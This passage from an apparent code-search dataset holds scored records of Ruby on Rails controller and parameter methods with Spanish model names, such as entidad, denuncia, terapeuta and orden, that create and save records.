end\n end", "title": "" }, { "docid": "06525ac1dc395b1a4a21d8679ba44519", "score": "0.5368813", "text": "def create\n @boleta_de_deposito = BoletaDeDeposito.find(params[:boleta_de_deposito_id])\n @boleta_de_deposito_detalle = @boleta_de_deposito.boletas_de_depositos_detalles.create(params[:boleta_de_deposito])\n respond_to do |format|\n if @boleta_de_deposito_detalle.save\n format.html { redirect_to [@boleta_de_deposito_detalle.boleta_de_deposito, @boleta_de_deposito_detalle] }\n format.json { render :show, status: :created, location: [@boleta_de_deposito_detalle.boleta_de_deposito, @boleta_de_deposito_detalle] }\n else\n format.html { render :new }\n format.json { render json: @boleta_de_deposito_detalle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bcdd340ae97ad3947f890deff4df91d7", "score": "0.53672606", "text": "def create\n @nacional_de_apertura = NacionalDeApertura.new(params[:nacional_de_apertura])\n\n respond_to do |format|\n if @nacional_de_apertura.save\n format.html { redirect_to @nacional_de_apertura, notice: 'Nacional de apertura was successfully created.' }\n format.json { render json: @nacional_de_apertura, status: :created, location: @nacional_de_apertura }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nacional_de_apertura.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "98563da0a184ac8eb2e865539e699f9c", "score": "0.53641135", "text": "def entidad_params\n params.require(:entidad).permit(:nombre, :rfc, :curp, :direccion, :no_ext, :no_int, :delegacion, :colonia, :estado, :pais, :codigo_postal, :telefono_1, :telefono_2, :telefono_3, :email, :contacto_1, :contacto_2, :tipo_entidad_id)\n end", "title": "" }, { "docid": "29650c22a5e93e9a8ce1f85adbbc4b36", "score": "0.5360952", "text": "def create\n @unidad = Unidad.new(unidad_params)\n\n respond_to do |format|\n if @unidad.save\n format.html { redirect_to @unidad, notice: 'Unidad was successfully created.' }\n format.json { render :show, status: :created, location: @tipo_persona }\n else\n format.html { render :new }\n format.json { render json: @unidad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2c109d0a1130af03f292e66d6c13514e", "score": "0.53596133", "text": "def create\n @denuncia = Denuncia.new\n\n respond_to do |format|\n if @denuncia.finalize(params[:denuncia])\n format.html { redirect_to @denuncia, notice: 'Su denuncia ha sido creada exitosamente.' }\n format.json { render json: @denuncia, status: :created, location: @denuncia }\n else\n format.html { render action: \"new\" }\n format.json { render json: @denuncia.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33e6a34d7fff6299d45c50ec2109a3e0", "score": "0.5354552", "text": "def create\n @entidad = Entidad.new(entidad_params)\n\n respond_to do |format|\n if @entidad.save\n format.html { redirect_to @entidad, notice: 'Entidad was successfully created.' }\n format.json { render :show, status: :created, location: @entidad }\n else\n format.html { render :new }\n format.json { render json: @entidad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33e6a34d7fff6299d45c50ec2109a3e0", "score": "0.5354552", "text": "def create\n @entidad = Entidad.new(entidad_params)\n\n respond_to do |format|\n if @entidad.save\n format.html { redirect_to @entidad, notice: 'Entidad was successfully created.' }\n format.json { render :show, status: :created, location: @entidad }\n else\n format.html { render :new }\n format.json { render json: @entidad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a1c5ee3893dd3fdc223c235cf4b0b0af", "score": "0.5352209", "text": "def create\n @entidad_territorial = EntidadTerritorial.new(entidad_territorial_params)\n\n respond_to do |format|\n if @entidad_territorial.save\n format.html { redirect_to @entidad_territorial, notice: 'Entidad territorial creada exitosamente.' }\n format.json { render action: 'show', status: :created, location: @entidad_territorial }\n else\n format.html { render action: 'new' }\n format.json { render json: @entidad_territorial.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "944f785535df3a405ca04db644a71cfd", "score": "0.53480756", "text": "def create\n @nacionalidad = Nacionalidad.new(nacionalidad_params)\n\n respond_to do |format|\n if @nacionalidad.save\n format.html { redirect_to @nacionalidad, notice: 'Nacionalidad creada exitosamente.' }\n format.json { render :show, status: :created, location: @nacionalidad }\n else\n format.html { render :new }\n format.json { render json: @nacionalidad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "91216aaee21458e163d97237db3652ad", "score": "0.5343555", "text": "def createperfilEstudiante\n\t\tguardarCorrecto = false\n\t\tnum = 0\n\t\ttamanio = params[\"items\"].length\n\t\twhile num < tamanio\n\t\t\tnumS = num.to_s\n\t\t\tperfilE = PerfilPersonas.new\n\t\t\tperfilE.texto = params[\"items\"][numS][\"conocimiento\"]\n\t\t\tperfilE.tipo = params[\"items\"][numS][\"tipo\"]\n\t\t\tperfilE.tipo_requisito = params[\"items\"][numS][\"perfil\"]\n\t\t\tperfilE.contenido_id = params[\"idContenido\"]\n\t\t\tperfilE.tipo_persona = \"Estudiante\"\n\t\t\tif perfilE.save()\n\t\t\t\tguardarCorrecto = true\n\t\t\telse\n\t\t\t\tguardarCorrecto = false\n\t\t\t\tbreak\n\t\t\tend\n\t\t\tnum = num + 1\n\t\tend\n\t\tnum = 0\n\t\tif guardarCorrecto\n\t\t\tif params[\"salir\"] == \"true\"\n\t\t\t\tlinks = \"/academico\"\n\t\t\t\treturn render json: {link: links},status: :ok\n\t\t\telsif params[\"salir\"] == \"truefalse\"\n\t\t\t\tlinks = \"\"\n\t\t\t\tmensaje = \"Se guardo exitosamente\"\n\t\t\t\treturn render json: {link: links,mensaje:mensaje},status: :ok\n\t\t\telse\n\t\t\t\tlinks = '/academico/prospecto/unidades/'+params[\"curso\"]+'/crear/'+params[\"idContenido\"]\n\t\t\t\treturn render json: {link: links},status: :ok\n\t\t\tend\n\t\tend\n\t\t\n\tend", "title": "" }, { "docid": "4f607923ce03647f3272dcde9a4dfb57", "score": "0.5342829", "text": "def create\n @ingrediente = Ingrediente.new(ingrediente_params)\n\n respond_to do |format|\n if @ingrediente.save\n format.html { redirect_to @ingrediente, notice: \"Ingrediente was successfully created.\" }\n format.json { render :show, status: :created, location: @ingrediente }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @ingrediente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4cacc83d8cf056762e27b33f87467230", "score": "0.53422225", "text": "def createPedido\r\n @examen=Examen.new\r\n @prescripcion=Prescripcion.new\r\n respond_to do |format|\r\n if @@consultaTMP!=nil\r\n unless @@prescripcionTMP!=nil\r\n puts \"ingresa a prescripcion\"\r\n @prescripcion.consulta_id=@@consultaTMP.consulta_id\r\n @prescripcion.save\r\n @@prescripcionTMP=@prescripcion\r\n end \r\n \r\n @examen.Exa_Tipo=params[:consulta][:examen][:Exa_Tipo]\r\n @examen.Exa_Prioridad=params[:consulta][:examen][:Exa_Prioridad]\r\n @examen.Exa_Motivo=params[:consulta][:examen][:Exa_Motivo]\r\n @examen.Exa_Descripcion=params[:consulta][:examen][:Exa_Descripcion]\r\n @examen.prescripcion_id=@@prescripcionTMP.prescripcion_id\r\n if @examen.save\r\n @msg=\"Pedido de imagenologia guardado satisfactoriamente\"\r\n format.json { render json: {data:@examen, mensaje:@msg}, status: :created }\r\n else\r\n format.json { render json: @examen.errors, status: :unprocessable_entity }\r\n end\r\n \r\n else\r\n @msg=\"Guarde primero la consulta\"\r\n format.json { render json:{mensaje:@msg}, status: :unprocessable_entity } \r\n end\r\n \r\n end \r\n end", "title": "" }, { "docid": "7e9416827614e8d20624851690e16538", "score": "0.53384954", "text": "def create_orden\n i_cita_id = params[:cita_id]\n\n @cita = Cita.where(\"id = ?\", i_cita_id)\n if @cita.empty?\n @error_code = 500\n @error_description = \"Numero de cita invalido\"\n else\n #buscar si ya existe\n @orden = Orden.where(:cita_id => @cita[0].id)\n \n if @orden.empty?\n #crear orden\n @orden = Orden.new(:cita_id => @cita[0].id,\n :estado_id => Orden::ESTADO_RECIBIDO)\n\n unless @orden.save\n @error_code = 500\n @error_description = \"Error al crear orden. #{@orden.errors}\" \n end\n \n else\n @error_code = 500\n @error_description = \"Cita ya ha sido ingresada.\"\n end\n \n end\n\n respond_to do |format|\n format.xml\n end\n \n end", "title": "" }, { "docid": "7e9416827614e8d20624851690e16538", "score": "0.53384954", "text": "def create_orden\n i_cita_id = params[:cita_id]\n\n @cita = Cita.where(\"id = ?\", i_cita_id)\n if @cita.empty?\n @error_code = 500\n @error_description = \"Numero de cita invalido\"\n else\n #buscar si ya existe\n @orden = Orden.where(:cita_id => @cita[0].id)\n \n if @orden.empty?\n #crear orden\n @orden = Orden.new(:cita_id => @cita[0].id,\n :estado_id => Orden::ESTADO_RECIBIDO)\n\n unless @orden.save\n @error_code = 500\n @error_description = \"Error al crear orden. #{@orden.errors}\" \n end\n \n else\n @error_code = 500\n @error_description = \"Cita ya ha sido ingresada.\"\n end\n \n end\n\n respond_to do |format|\n format.xml\n end\n \n end", "title": "" }, { "docid": "670ad307407d91d7430dde4c4bbe8d8c", "score": "0.53378224", "text": "def create\n @diente = Diente.new(diente_params)\n\n respond_to do |format|\n if @diente.save\n format.html { redirect_to @diente, notice: 'Diente was successfully created.' }\n format.json { render :show, status: :created, location: @diente }\n else\n format.html { render :new }\n format.json { render json: @diente.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bcb97eb5a98398dafd13bbf420578fbd", "score": "0.53367776", "text": "def create\n seleccionarMenu(:rondas)\n @ronda = Ronda.find(params[:ronda_id])\n @visita_diaria = @ronda.visita_diarias.build(params[:visita_diaria])\n\n respond_to do |format|\n if @visita_diaria.save\n #format.html { redirect_to ronda_path(@ronda), notice: 'Visita diaria fue creada correctamente.' }\n format.html { redirect_to new_ronda_visita_diaria_path(@ronda), notice: 'Visita diaria fue creada correctamente.' }\n format.json { render json: @visita_diaria, status: :created, location: @visita_diaria }\n else\n format.html { render action: \"new\" }\n format.json { render json: @visita_diaria.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3e31af7cf79803adb06cdb1ae38da91", "score": "0.5327899", "text": "def cuenta_params\n params.require(:cuenta).permit(:direccion, :saldo)\n end", "title": "" }, { "docid": "08c105ec910c21655de3d3029486d9ec", "score": "0.53264093", "text": "def create\n @usuario = Usuario.new(usuario_params)\n\n respond_to do |format|\n if @usuario.save\n format.html { redirect_to root_path, notice: 'Tus datos se registraron correctamente. Gracias.' }\n format.json { render action: 'show', status: :created, location: @usuario }\n else\n @referer = @usuario.referer\n @landing = @usuario.landing\n format.html { render action: 'new' }\n format.json { render json: @usuario.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d284b1971b026402c5d38989af922417", "score": "0.5324128", "text": "def new\n perfil = current_solicitante.perfil\n \n @trabajo = Trabajo.new\n \n @trabajo.pais_id = perfil.pais_id unless perfil.pais_id.nil?\n @trabajo.estado_id = perfil.estado_id unless perfil.estado_id.nil?\n @trabajo.municipio_id = perfil.municipio_id unless perfil.municipio_id.nil?\n @trabajo.localidad_id = perfil.localidad_id unless perfil.localidad_id.nil?\n @localidad = @trabajo.localidad ? @trabajo.localidad.nombre : \"\"\n unless perfil.direccion.blank?\n direccion = perfil.direccion\n pto_ref = perfil.punto_referencia.blank? ? \"\" : \". Punto de referencia: \"+perfil.punto_referencia\n @trabajo.direccion = direccion+pto_ref\n end\n\n add_breadcrumb :new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trabajo }\n end\n end", "title": "" }, { "docid": "72839f9bc6ea49e30078062be29c0f5c", "score": "0.5323808", "text": "def create\n @objeto = Etapa.new(etapa_params)\n\n respond_to do |format|\n if @objeto.save\n set_redireccion\n format.html { redirect_to @redireccion, notice: 'Etapa was successfully created.' }\n format.json { render :show, status: :created, location: @objeto }\n else\n format.html { render :new }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb57b9b670c90a3b887e2f8ee34b0136", "score": "0.5321872", "text": "def antecedente_params\n params.require(:antecedente).permit(:paciente_id, :diabetes, :obesidad, :htrigli, :hcolesterol,\n :cancer, :hipertension, :gota, :otro )\n end", "title": "" }, { "docid": "cfb95cd19e18e87e773bb8ea2e8c62fc", "score": "0.53217524", "text": "def create\n @pedido_detallado = PedidoDetallado.new(pedido_detallado_params)\n\n respond_to do |format|\n if @pedido_detallado.save\n format.html { redirect_to @pedido_detallado, notice: 'Pedido detallado was successfully created.' }\n format.json { render :show, status: :created, location: @pedido_detallado }\n else\n format.html { render :new }\n format.json { render json: @pedido_detallado.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0e28b484b2827fc9ac446a0b0c934ac", "score": "0.53214335", "text": "def create\n @safra_umidade = SafraUmidade.new(params[:safra_umidade])\n\n respond_to do |format|\n if @safra_umidade.save\n format.html { redirect_to \"/safra_produtos/#{@safra_umidade.safra_produto_id}/descontos\"}\n format.json { render json: @safra_umidade, status: :created, location: @safra_umidade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @safra_umidade.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c676bd674ab9003eff1f4c5481d1a91d", "score": "0.53203464", "text": "def new\n @denuncia = Denuncia.new\n @expedientes = Expediente.all\n @municipios = Municipio.all \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @denuncia }\n end\n end", "title": "" }, { "docid": "9b7966390aea0679de689a72ccddf457", "score": "0.53179944", "text": "def create\n @terapeuta = Terapeuta.new(params[:terapeuta])\n @terapeuta.estado = \"pendiente\"\n #@terapeuta.plan_tipo = \"Gratis\"\n \n random_password = Array.new(10).map { (65 + rand(58)).chr }.join\n @terapeuta.password=random_password\n tipo_terapias = params[:tipo_terapia_ids]\n if tipo_terapias\n tipo_terapias.each do |tt|\n @terapeuta.tipo_terapias.build(:nombre => tt )\n end\n end\n \n forma_pagos = params[:forma_pago_ids]\n if forma_pagos\n forma_pagos.each do |tt|\n @terapeuta.forma_pagos.build(:valor => tt )\n end\n end\n \n respond_to do |format|\n if @terapeuta.save\n TerapeutaMailer.send_password(@terapeuta,random_password).deliver\n TerapeutaMailer.notify_new_terapeuta(@terapeuta).deliver\n if @terapeuta.plan_ciclo != \"Gratis\"\n @pago = @terapeuta.pagos.create(:tipo => \"Suscripcion Completa \"+@terapeuta.plan_ciclo, \n :monto => RefDatum.where(:nombre => \"Plan \"+@terapeuta.plan_ciclo).first().valor, \n :estado => \"pendiente\" )\n @pago_codigo = \"Susc-BT-\"+@terapeuta.plan_ciclo\n \n @success_url = root_url + \"payment_success?code=\"+encrypt_url(@terapeuta.email+\"|||\"+@terapeuta.id.to_s+\"|||\"+@pago.id.to_s+\"|||pago exitoso a través de dinero mail\")\n format.html { render \"submit_payment\" }\n #format.html { redirect_to @terapeuta, notice: 'Terapeuta fue creado exitosamente.' }\n #format.json { render json: @terapeuta, status: :created, location: @terapeuta } \n else\n format.html { redirect_to @terapeuta, notice: 'Terapeuta fue creado exitosamente.' }\n end\n else\n @tipo_terapias = RefDatum.where(:nombre => \"Tipo Terapeuta\")\n @forma_pagos = RefDatum.where(:nombre => \"Formas de Pago\")\n @plan_trimestral = RefDatum.find_by_nombre(\"Plan Trimestral\").valor\n @plan_semestral = RefDatum.find_by_nombre(\"Plan Semestral\").valor\n @plan_anual = RefDatum.find_by_nombre(\"Plan Anual\").valor\n format.html { render action: \"new\" }\n format.json { render json: @terapeuta.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "956ea3e6309d7d71dbb72ab8a7828e91", "score": "0.5312287", "text": "def duenio_params\n params.require(:duenio).permit(:nombre, :direccion, :image)\n end", "title": "" } ]